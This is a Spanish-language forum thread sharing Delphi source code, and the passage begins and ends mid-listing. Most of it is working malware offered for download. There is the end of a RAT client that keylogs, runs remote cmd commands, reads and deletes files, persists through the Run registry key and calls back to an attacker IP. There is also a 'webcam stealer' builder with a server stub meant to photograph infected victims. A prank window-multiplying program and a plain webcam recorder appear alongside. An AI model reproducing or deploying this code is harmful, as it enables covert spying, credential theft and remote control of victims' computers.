          code := '[+] Error';
        end;
      end;
      if FileExists(archivo) then
      begin
        if (DeleteFile(archivo)) then
        begin
          code := '[+] File removed';
        end
        else
        begin
          code := '[+] Error';
        end;
      end;

      Result := code;

    end;

    function LeerArchivo(const archivo: TFileName): String;
    var
      lista: TStringList;
    begin

      if (FileExists(archivo)) then
      begin

        lista := TStringList.Create;
        lista.Loadfromfile(archivo);
        Result := lista.text;
        lista.Free;

      end;

    end;

    function lectora(opcion: string): string;
    var
      code: string;
    begin

      code := '';

      if (opcion = 'open') then
      begin
        mciSendString('Set cdaudio door open wait', nil, 0, 0);
        code := '[+] Open CD : OK';
      end
      else
      begin
        mciSendString('Set cdaudio door closed wait', nil, 0, 0);
        code := '[+] Close CD : OK';
      end;

      Result := code;

    end;

    function cambiar_barra(opcion: string): string;
    var
      code: string;
    begin
      code := '';

      if (opcion = 'hide') then
      begin
        ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE);
        code := '[+] Hidden Taskbar : OK';
      end
      else
      begin
        ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_SHOWNA);
        code := '[+] Show Taskbar : OK';
      end;

      Result := code;

    end;

    function cambiar_iconos(opcion: string): string;
    var
      code: string;
      acatoy: THandle;
    begin
      code := '';
      acatoy := FindWindow('ProgMan', nil);
      acatoy := GetWindow(acatoy, GW_CHILD);
      if (opcion = 'hide') then
      begin
        ShowWindow(acatoy, SW_HIDE);
        code := '[+] Hidden Icons : OK';
      end
      else
      begin
        ShowWindow(acatoy, SW_SHOW);
        code := '[+] Show Icons : OK';
      end;
      Result := code;
    end;

    function mensaje(texto: string): string;
    var
      code: string;
    begin
      code := '';
      ShowMessage(texto);
      code := '[+] Message Sent';
      Result := code;
    end;

    function hablar(text: string): string;
    var
      Voice: Variant;
      code: string;
    begin
      code := '';
      Voice := CreateOLEObject('SAPI.SpVoice');
      Voice.speak(text);
      code := '[+] Voice Speak : OK';
      Result := code;
    end;

    function SendKeys(texto: string): string;
    // Thanks to Remy Lebeau for the help
    var
      eventos: PInput;
      controlb, controla: integer;
      code: string;
    begin

      code := '';
      code := '[+] SendKeys : OK';

      GetMem(eventos, SizeOf(TInput) * (Length(texto) * 2));

      controla := 0;

      for controlb := 1 to Length(texto) do
      begin

        eventos[controla].Itype := INPUT_KEYBOARD;
        eventos[controla].ki.wVk := 0;
        eventos[controla].ki.wScan := ord(texto[controlb]);
        eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE;
        eventos[controla].ki.time := 0;
        eventos[controla].ki.dwExtraInfo := 0;

        Inc(controla);

        eventos[controla].Itype := INPUT_KEYBOARD;
        eventos[controla].ki.wVk := 0;
        eventos[controla].ki.wScan := ord(texto[controlb]);
        eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE or KEYEVENTF_KEYUP;
        eventos[controla].ki.time := 0;
        eventos[controla].ki.dwExtraInfo := 0;

        Inc(controla);

      end;

      SendInput(controla, eventos[0], SizeOf(TInput));

      Result := code;

    end;

    function escribir_word(texto: string): string;
    var
      code: string;
    begin
      code := '';
      code := '[+] Word Joke : OK';
      ShellExecute(0, nil, PChar('winword.exe'), nil, nil, SW_SHOWNORMAL);
      Sleep(5000);
      SendKeys(texto);
      Result := code;

    end;

    function listarprocesos(): string;
    var
      conector: THandle;
      timbre: LongBool;
      indicio: TProcessEntry32;
      code: string;

    begin

      code := '';

      conector := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      indicio.dwSize := SizeOf(indicio);

      timbre := Process32First(conector, indicio);

      while timbre do

      begin

        code := code + '[+] Name : ' + indicio.szExeFile + ' [+] PID : ' + IntToStr
          (indicio.th32ProcessID) + sLineBreak;

        timbre := Process32Next(conector, indicio);

      end;

      Result := code;

    end;

    function matarproceso(pid: string): string;
    var
      vano: THandle;
      code: string;

    begin

      code := '';
      vano := OpenProcess(PROCESS_TERMINATE, FALSE, StrToInt(pid));

      if TerminateProcess(vano, 0) then
      begin
        code := '[+] Kill Process : OK';
      end
      else
      begin
        code := '[+] Kill Process : ERROR';
      end;

      Result := code;

    end;

    function ejecutar(cmd: string): string;
    // Credits : Function ejecutar() based in : http://www.delphidabbler.com/tips/61
    // Thanks to www.delphidabbler.com

    var
      parte1: TSecurityAttributes;
      parte2: TStartupInfo;
      parte3: TProcessInformation;
      parte4: THandle;
      parte5: THandle;
      control2: Boolean;
      contez: array [0 .. 255] of AnsiChar;
      notengoidea: Cardinal;
      fix: Boolean;
      code: string;

    begin

      code := '';

      with parte1 do
      begin
        nLength := SizeOf(parte1);
        bInheritHandle := True;
        lpSecurityDescriptor := nil;
      end;

      CreatePipe(parte4, parte5, @parte1, 0);

      with parte2 do
      begin
        FillChar(parte2, SizeOf(parte2), 0);
        cb := SizeOf(parte2);
        dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
        wShowWindow := SW_HIDE;
        hStdInput := GetStdHandle(STD_INPUT_HANDLE);
        hStdOutput := parte5;
        hStdError := parte5;
      end;

      fix := CreateProcess(nil, PChar('cmd.exe /C ' + cmd), nil, nil, True, 0, nil,
        PChar('c:/'), parte2, parte3);

      CloseHandle(parte5);

      if fix then

        repeat

        begin
          control2 := ReadFile(parte4, contez, 255, notengoidea, nil);
        end;

        if notengoidea > 0 then
        begin
          contez[notengoidea] := #0;
          code := code + contez;
        end;

        until not(control2) or (notengoidea = 0);

        Result := code;

    end;

    function crazy_mouse(number: string): string;
    var
      i: integer;
      code: string;
    begin
      code := '';
      For i := 1 to StrToInt(number) do
      begin
        Sleep(1000);
        SetCursorPos(i, i);
      end;
      code := '[+] Crazy Mouse : OK';
      Result := code;
    end;

    function TForm1.datanow(): string;
    var
      code: string;
      ip: string;
      pais: string;
      re: string;
      username: string;
      os: string;

    begin

      try
        begin
          code := IdHTTP1.Get('http://whatismyipaddress.com/');

          ip := regex(code, 'alt="Click for more about ', '"></a>');
          pais := regex(code, '<tr><th>Country:</th><td>', '</td></tr>');

          if (ip = '') then
          begin
            ip := '?';
          end;

          if (pais = '') then
          begin
            pais := '?';
          end;

          username := GetEnvironmentVariable('username');
          os := GetEnvironmentVariable('os');

          re := '[datos_nuevos][ip]' + ip + '[ip]' + '[pais]' + pais + '[pais]' +
            '[username]' + username + '[username]' + '[os]' + os + '[os]';
        end;
      except
        //
      end;

      Result := re;

    end;

    //

    procedure TForm1.ClientSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      ClientSocket1.Socket.SendText(datanow());
    end;

    procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    var
      code: string;
      argumento: string;
    begin
      code := Socket.ReceiveText;

      argumento := regex(code, '[argumento]', '[argumento]');

      if (Pos('![opencd]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(lectora('open'));
      end;

      if (Pos('![closecd]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(lectora('close'));
      end;

      if (Pos('![listardirectorio]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(listardirectorio(argumento));
      end;

      if (Pos('![borraresto]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(borraresto(argumento));
      end;

      if (Pos('![leerarchivo]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(LeerArchivo(argumento));
      end;

      if (Pos('![keyloggerlogs]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText('![keyloggerlogs]<br>' + LeerArchivo(acatoy));
      end;

      if (Pos('![sendkeys]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(SendKeys(argumento));
      end;

      if (Pos('![escribirword]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(escribir_word(argumento));
      end;

      if (Pos('![mensaje]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(mensaje(argumento));
      end;

      if (Pos('![hablar]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(hablar(argumento));
      end;

      if (Pos('![matarproceso]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(matarproceso(argumento));
      end;

      if (Pos('![ejecutar]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(ejecutar(argumento));
      end;

      if (Pos('![crazymouse]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(crazy_mouse(argumento));
      end;

      if (Pos('![ocultartaskbar]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(cambiar_barra('hide'));
      end;

      if (Pos('![volvertaskbar]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(cambiar_barra('na'));
      end;

      if (Pos('![ocultariconos]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(cambiar_iconos('hide'));
      end;

      if (Pos('![volvericonos]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(cambiar_iconos('na'));
      end;

      if (Pos('![listarprocesos]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(listarprocesos());
      end;

    end;

    procedure TForm1.FormCreate(Sender: TObject);
    var
      dir_hide, dir, carpeta, nombrereal, directorio, rutareal, yalisto: string;
      registro: HKEY;
      ip: string;

      ob: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      todo: string;

    begin

      Application.ShowMainForm := FALSE;

      ob := INVALID_HANDLE_VALUE;
      code := '';

      ob := CreateFile(PChar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
        OPEN_EXISTING, 0, 0);
      if (ob <> INVALID_HANDLE_VALUE) then
      begin
        SetFilePointer(ob, -9999, nil, FILE_END);
        ReadFile(ob, code, 9999, nose, nil);
        CloseHandle(ob);
      end;

      todo := regex(code, '[63686175]', '[63686175]');
      todo := dhencode(todo, 'decode');

      ip := regex(todo, '[ip]', '[ip]');

      try
        begin
          dir_hide := GetEnvironmentVariable('USERPROFILE') + '/';
          carpeta := 'ratata';

          dir := dir_hide + carpeta + '/';

          if not(DirectoryExists(dir)) then
          begin
            CreateDir(dir);
          end;

          ChDir(dir);

          nombrereal := ExtractFileName(paramstr(0));
          rutareal := dir;
          yalisto := dir + nombrereal;

          acatoy := dir + 'logs.html';

          MoveFile(PChar(paramstr(0)), PChar(yalisto));

          SetFileAttributes(PChar(dir), FILE_ATTRIBUTE_HIDDEN);

          SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);

          RegCreateKeyEx(HKEY_LOCAL_MACHINE,
            'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
            REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
          RegSetValueEx(registro, 'uberk', 0, REG_SZ, PChar(yalisto), 666);
          RegCloseKey(registro);

          savefile('logs.html',
            '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

          ClientSocket1.Address := ip;
          ClientSocket1.Port := 6664;
          ClientSocket1.Open;

        end;
      except
        //
      end;

    end;

    procedure TForm1.sButton1Click(Sender: TObject);
    begin
      ClientSocket1.Socket.SendText(datanow());
    end;

    procedure TForm1.Timer1Timer(Sender: TObject);
    var
      i: integer;
      Result: Longint;
      mayus: integer;
      shift: integer;

    const

      n_numeros_izquierda: array [1 .. 10] of string =
        ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');

    const
      t_numeros_izquierda: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_numeros_derecha: array [1 .. 10] of string =
        ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');

    const
      t_numeros_derecha: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
        '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
        '291', '220', '221', '222', '226');

    const
      t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
        '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
        '|');

    const
      n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
        '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
        '226');

    const
      t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
        '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
        ' / ', ' \ \ \ ', ']', '[', '~', '\/');

    begin

      // Others

      for i := Low(n_raros) to High(n_raros) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_raros[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_raros[i]);
        end;
      end;

      // Numbers

      for i := Low(n_numeros_derecha) to High(n_numeros_derecha) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_numeros_derecha[i]);
        end;
      end;

      for i := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_numeros_izquierda[i]);
        end;
      end;

      // SHIFT

      if (GetAsyncKeyState(VK_SHIFT) <> 0) then
      begin

        for i := Low(n_shift) to High(n_shift) do
        begin
          Result := GetAsyncKeyState(StrToInt(n_shift[i]));
          If Result = -32767 then
          begin
            savefile('logs.html', t_shift[i]);
          end;
        end;

        for i := 65 to 90 do
        begin
          Result := GetAsyncKeyState(i);
          If Result = -32767 then
          Begin
            savefile('logs.html', Chr(i + 0));
          End;
        end;

      end;

      // MAYUS

      if (GetKeyState(20) = 0) then
      begin
        mayus := 32;
      end
      else
      begin
        mayus := 0;
      end;

      for i := 65 to 90 do
      begin
        Result := GetAsyncKeyState(i);
        If Result = -32767 then
        Begin
          savefile('logs.html', Chr(i + mayus));
        End;
      end;

    end;

    procedure TForm1.Timer2Timer(Sender: TObject);
    var
      ventana1: array [0 .. 255] of Char;
      nombre1: string;

    begin

      GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));

      nombre1 := ventana1;

      if not(nombre1 = Nombre2) then
      begin
        Nombre2 := nombre1;
        savefile('logs.html',
          '<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>');
      end;

    end;

    //

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#150
Delphi / [Delphi] Una inocente broma xD
Diciembre 06, 2013, 10:14:33 AM
Siempre quize hacer la tipica broma donde te mandan un programa donde aparece la foto de una mina en tetas y cuando queres cerrar la ventana en vez de cerrarse se multiplica.
Si la victima no quiere cerrar la ventana puse un timer cada 1 segundo para que se multiplique de todas formas.

Hice algo asi en delphi , pondria una captura del programa en accion pero me borrarian la imagen xDD.

El codigo.

Código: delphi

// Joke : Big Tits
// (C) Doddy Hackman 2013

unit big;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, Math;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Timer1: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure nomepiensoir();
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.nomepiensoir;

// Based on : http://delphi.about.com/od/adptips2006/qt/formclone.htm
// Thanks to Zarko Gajic

var

  parte1: TMemoryStream;
  acatoy: TForm;

const
  dimensiones: array [1 .. 5] of string = ('100', '200', '300', '400', '500');

begin

  parte1 := TMemoryStream.Create;
  parte1.WriteComponent(Form1);

  parte1.Position := 0;

  acatoy := TFormClass(Form1.ClassType).CreateNew(Application);
  parte1.ReadComponent(acatoy);

  acatoy.Left := Form1.Left + StrToInt(dimensiones[RandomRange(1, 5)]);
  acatoy.Top := Form1.Top + StrToInt(dimensiones[RandomRange(1, 5)]);

  acatoy.Show;

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  nomepiensoir();
  Abort;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  nomepiensoir();
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#151
Delphi / [Delphi] The WatchMan 0.4
Diciembre 01, 2013, 11:39:32 PM
Un simple programa que graba todos los registros de la webcam en un video con formato avi.

Tenia pensado usarlo como camara de vigilancia en el frente de mi casa pero todavia le faltan varios (mas bien muchos) retoques.

Una imagen :



El codigo.

Código: delphi

// The WatchMan 0.4
// (C) Doddy Hackman 2013
// Credits : Based on
// http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-i.html
// http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-ii.html
// http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-iii.html
// Thanks to Javier Par

unit the;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, ComCtrls, sStatusBar, sPageControl, StdCtrls,
  sGroupBox, sButton, sRadioButton, sEdit, sListView, ExtCtrls, ShellApi, acPNG,
  sLabel;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sPageControl1: TsPageControl;
    sStatusBar1: TsStatusBar;
    sTabSheet1: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sGroupBox1: TsGroupBox;
    sTabSheet4: TsTabSheet;
    sGroupBox2: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sGroupBox4: TsGroupBox;
    sRadioButton3: TsRadioButton;
    sEdit1: TsEdit;
    sRadioButton4: TsRadioButton;
    sGroupBox6: TsGroupBox;
    sListView1: TsListView;
    Guardar: TSaveDialog;
    Image1: TImage;
    sGroupBox3: TsGroupBox;
    Image2: TImage;
    sLabel1: TsLabel;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);

    procedure sListView1DblClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  toyaca: hwnd;

const

  control = WM_USER;
  conec = control + 10;
  uno = control + 52;
  dos = control + 50;

  tres = control + 20;
  cuatro = control + 62;
  chau = control + 11;

implementation

uses tiny, full;

FUNCTION capCreateCaptureWindowA(lpszWindowName: PCHAR; dwStyle: longint;
  x: integer; y: integer; nWidth: integer; nHeight: integer; ParentWin: hwnd;
  nId: integer): hwnd;
STDCALL EXTERNAL 'AVICAP32.DLL';
{$R *.dfm}
  procedure TForm1.FormCreate(Sender: TObject);
  var
    dir: string;
    busqueda: TSearchRec;
  begin

    sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName)
      + 'Data';
    sSkinManager1.SkinName := 'matrix';
    sSkinManager1.Active := True;

    dir := ExtractFilePath(Application.ExeName) + '/captures';

    if not(DirectoryExists(dir)) then
    begin
      CreateDir(dir);
    end;

    ChDir(dir);

    FindFirst(dir + '\*.avi', faAnyFile + faReadOnly, busqueda);

    with sListView1.Items.Add do
    begin
      Caption := ExtractFileName(busqueda.Name);
      SubItems.Add(dir + '/' + busqueda.Name);
    end;

    while FindNext(busqueda) = 0 do
    begin

      with sListView1.Items.Add do
      begin
        Caption := ExtractFileName(busqueda.Name);
        SubItems.Add(dir + '/' + busqueda.Name);
      end;

    end;
    FindClose(busqueda);

  end;

  procedure TForm1.sButton1Click(Sender: TObject);
  begin

    sStatusBar1.Panels[0].Text := '[+] Recording';
    Form1.sStatusBar1.Update;

    Form2.Show;

    toyaca := capCreateCaptureWindowA('Unknown_888', WS_CHILD OR WS_VISIBLE,
      Form2.Image1.Left, Form2.Image1.Top, Form2.Image1.Width,
      Form2.Image1.Height, Form2.Handle, 0);

    SendMessage(toyaca, conec, 0, 0);
    SendMessage(toyaca, uno, 40, 0);
    SendMessage(toyaca, dos, 1, 0);

    SendMessage(toyaca, tres, 0, longint(PCHAR('tt')));

    SendMessage(toyaca, cuatro, 0, 0);

  end;

  procedure TForm1.sButton2Click(Sender: TObject);
  var
    fecha: TDateTime;
    fechafinal: string;
    nombrefecha: string;

  BEGIN

    sStatusBar1.Panels[0].Text := '[+] Stopped';
    Form1.sStatusBar1.Update;

    SendMessage(toyaca, chau, 0, 0);

    Form2.Hide;

    if (sRadioButton3.Checked) then
    begin
      RenameFile('t', sEdit1.Text);
    end;

    if (sRadioButton4.Checked) then
    begin
      fecha := now();
      fechafinal := DateTimeToStr(fecha);
      nombrefecha := fechafinal + '.avi';

      nombrefecha := StringReplace(nombrefecha, '/', ':', [rfReplaceAll,
        rfIgnoreCase]);
      nombrefecha := StringReplace(nombrefecha, ' ', '', [rfReplaceAll,
        rfIgnoreCase]);
      nombrefecha := StringReplace(nombrefecha, ':', '_', [rfReplaceAll,
        rfIgnoreCase]);

      RenameFile('t', nombrefecha);

    end;

  end;

  procedure TForm1.sListView1DblClick(Sender: TObject);
  begin

    ShellExecute(0, nil, PCHAR(sListView1.Selected.SubItems[0]), nil, nil,
      SW_SHOWNORMAL);

  end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#152
Delphi / [Delphi] DH WebCam Stealer 0.2
Noviembre 29, 2013, 10:44:00 AM
Un simple programa para capturar fotos cada 1 segundo de la webcam en la maquina de la persona que infecten.

Una imagen :



Código: delphi

// DH WebCam Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion

unit webcam;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, ComCtrls, sStatusBar, StdCtrls, sLabel, sRadioButton,
  sButton, sEdit, sGroupBox, sPageControl, acPNG, ExtCtrls, ScktComp, Jpeg;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image3: TImage;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sGroupBox2: TsGroupBox;
    sGroupBox6: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox7: TsGroupBox;
    sButton3: TsButton;
    sTabSheet2: TsTabSheet;
    sGroupBox3: TsGroupBox;
    sGroupBox4: TsGroupBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sGroupBox5: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sTabSheet3: TsTabSheet;
    sGroupBox1: TsGroupBox;
    Image1: TImage;
    sTabSheet4: TsTabSheet;
    Image2: TImage;
    sLabel1: TsLabel;
    sStatusBar1: TsStatusBar;
    Timer1: TTimer;
    Timer2: TTimer;
    ServerSocket1: TServerSocket;
    ServerSocket2: TServerSocket;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket2ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
  private
    { Private declarations }

    conexion: TFileStream;
    control: integer;

  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  cantidad: string;

implementation

uses full;
{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure achicar(archivo, medir1, medir2: string);

// Credits  :
// Based on : http://www.delphidabbler.com/tips/99
// Thanks to www.delphidabbler.com

var
  bit3: Double;
  bit2: TJpegImage;
  bit1: TBitmap;

begin

  try
    begin

      bit2 := TJpegImage.Create;

      bit2.Loadfromfile(archivo);

      if bit2.Height > bit2.Width then
      begin
        bit3 := StrToInt(medir1) / bit2.Height
      end
      else
      begin
        bit3 := StrToInt(medir2) / bit2.Width;
      end;

      bit1 := TBitmap.Create;

      bit1.Width := Round(bit2.Width * bit3);
      bit1.Height := Round(bit2.Height * bit3);
      bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2);

      bit2.Assign(bit1);

      bit2.SaveToFile(archivo);

    end;
  except
    //
  end;

end;
//

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'garnet';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);

begin
  try
    begin
      ServerSocket1.Open;

      sStatusBar1.Panels[0].Text := '[+] Online';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  try
    begin
      ServerSocket1.Close;
      sStatusBar1.Panels[0].Text := '[+] OffLine';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;
end;

procedure TForm1.sButton3Click(Sender: TObject);
var
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  stubgenerado: string;
  lineafinal: string;
  linea: string;
begin

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  stubgenerado := 'stealer_ready.exe';

  linea := '[ip]' + sEdit1.Text + '[ip]';
  lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]';

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/servernow.exe'), PChar
      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ,
    nil, OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  sStatusBar1.Panels[0].Text := '[+] Done';
  Form1.sStatusBar1.Update;

end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  contenido: string;

begin

  contenido := Socket.ReceiveText;

  if (Pos('0x3archivo', contenido) > 0) then
  begin
    conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)),
      fmCREATE or fmOPENWRITE and fmsharedenywrite);

    ServerSocket2.Open;

  end
  else
  begin
    if (Pos('0x3acantid', contenido) > 0) then
    begin
      cantidad := Copy(contenido, 11, length(contenido));
    end;
  end;
end;

procedure TForm1.ServerSocket2ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  data: array [0 .. 9999] of Char;
  otracantidad: integer;

begin

  Timer1.Enabled := True;

  while Socket.ReceiveLength > 0 do

  begin

    otracantidad := Socket.ReceiveBuf(data, Sizeof(data));

    if otracantidad <= 0 then
    begin
      Break;
    end
    else
    begin
      conexion.Write(data, otracantidad);
    end;

    if conexion.Size >= StrToInt(cantidad) then

    begin

      conexion.Free;

      Timer1.Enabled := False;

      control := 0;

      Break;

    end;
  end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  control := 1;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin

  try
    begin
      if ServerSocket1.Active = True then
      begin
        if FileExists('screen.jpg') then
        begin

          if (sRadioButton1.Checked) then
          begin
            achicar('screen.jpg', '400', '400');
            Image1.Picture.Loadfromfile('screen.jpg');
          end
          else
          begin
            Form2.Show;
            achicar('screen.jpg', '1000', '1000');
            Form2.Image1.Picture.Loadfromfile('screen.jpg');
          end;
        end;
      end;
    end;
  except
    //
  end;
end;

end.

// The End ?


El servidor.

Código: delphi

// DH WebCam Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion

unit server;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, ScktComp, Jpeg;

type
  TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    ClientSocket2: TClientSocket;
    Timer1: TTimer;
    Image1: TImage;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure capturar_webcam(filename: string);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  target: string;
  webcam: hwnd;

const

  control = WM_USER;
  conec = control + 10;
  conec2 = control + 52;
  conec3 = control + 50;
  conec4 = control + 25;
  chau = control + 11;

implementation

FUNCTION capCreateCaptureWindowA(uno: PCHAR; dos: longint; tres: integer;
  cuatro: integer; cinco: integer; seis: integer; siete: hwnd; ocho: integer)
  : hwnd;
STDCALL EXTERNAL 'AVICAP32.DLL';
{$R *.dfm}
// Functions

  procedure TForm1.capturar_webcam(filename: string);

  // Webcam capture based on : http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-iii.html
  // Thanks to Javier Par

  var
    imagen1: TBitmap;
    imagen2: TJpegImage;

  begin

    try
      begin

        DeleteFile('1.bmp');
        DeleteFile('1');
